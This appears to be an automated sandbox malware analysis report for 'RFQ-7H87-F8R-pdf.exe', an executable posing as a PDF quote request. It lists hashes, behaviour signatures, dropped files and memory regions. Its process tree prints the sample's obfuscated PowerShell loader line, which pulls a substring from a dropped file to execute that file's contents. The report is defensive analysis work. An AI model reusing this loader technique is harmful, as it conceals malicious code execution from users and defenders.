Analysis

  • max time kernel
    140s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 12:59

General

  • Target

    RFQ-7H87-F8R-pdf.exe

  • Size

    1.1MB

  • MD5

    cb51d861a22f76d51151f7012543c356

  • SHA1

    e9fb05f464ee886239db485e7ee764a036778f77

  • SHA256

    3b97b5da457f961783873c0c1f09924e4e1b16931811a9118a6185290103b918

  • SHA512

    5a4d7288c1b3a943e97ea754e5a741b90d822b8beb5e496cdc3dbd5c9107597ecc1b60aaaa296774c77832a6967b2bd0b2e14d48e3f64a368397c1dfd31898ee

  • SSDEEP

    24576:nPYmu2QnZI/uOnFFhCaMfXa1QhNBQVjTRUKrkeS+2rbFeL:9QUCJasNBQVRTHm/c

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\RFQ-7H87-F8R-pdf.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle minimized " $Cocytus=Get-Content 'C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne';$Ambassadrmde=$Cocytus.SubString(57807,3);.$Ambassadrmde($Cocytus)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2716
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 2716 -s 2776
        3⤵
        • Program crash
        PID:4680
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 2716 -ip 2716
    1⤵
      PID:1056

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u251vfjy.sc2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\homonymies\unsoundnesses\Enkepensions.Sne

      Filesize

      56KB

      MD5

      99360cbea01ba5d275ab8d13defef9e6

      SHA1

      877c8b2a325b989afd8692043026cdfe45ee2864

      SHA256

      6b66692c69cfb96bfb20a35c1b810ececaa9c3e1674e35ec46bd93108b12d4a0

      SHA512

      22236972fe8232239d37602dd41f828f52a820c76bb2407ee02c09b89472f6d5d5c252ba638ea281c9922f793af8cf2b67bbc61c3c9ac29c904eadb54784b303

    • memory/2716-87-0x0000000073D00000-0x00000000744B0000-memory.dmp

      Filesize

      7.7MB

    • memory/2716-102-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

      Filesize

      304KB

    • memory/2716-83-0x0000000073D0E000-0x0000000073D0F000-memory.dmp

      Filesize

      4KB

    • memory/2716-88-0x0000000004A80000-0x0000000004AA2000-memory.dmp

      Filesize

      136KB

    • memory/2716-90-0x0000000004C40000-0x0000000004CA6000-memory.dmp

      Filesize

      408KB

    • memory/2716-89-0x0000000004B20000-0x0000000004B86000-memory.dmp

      Filesize

      408KB

    • memory/2716-85-0x0000000073D00000-0x00000000744B0000-memory.dmp

      Filesize

      7.7MB

    • memory/2716-100-0x00000000054D0000-0x0000000005824000-memory.dmp

      Filesize

      3.3MB

    • memory/2716-101-0x0000000005AA0000-0x0000000005ABE000-memory.dmp

      Filesize

      120KB

    • memory/2716-86-0x0000000004D60000-0x0000000005388000-memory.dmp

      Filesize

      6.2MB

    • memory/2716-103-0x0000000006030000-0x00000000060C6000-memory.dmp

      Filesize

      600KB

    • memory/2716-104-0x0000000005FE0000-0x0000000005FFA000-memory.dmp

      Filesize

      104KB

    • memory/2716-105-0x0000000006C80000-0x0000000006CA2000-memory.dmp

      Filesize

      136KB

    • memory/2716-106-0x0000000007260000-0x0000000007804000-memory.dmp

      Filesize

      5.6MB

    • memory/2716-84-0x0000000000C60000-0x0000000000C96000-memory.dmp

      Filesize

      216KB

    • memory/2716-108-0x0000000007E90000-0x000000000850A000-memory.dmp

      Filesize

      6.5MB

    • memory/2716-110-0x0000000073D00000-0x00000000744B0000-memory.dmp

      Filesize

      7.7MB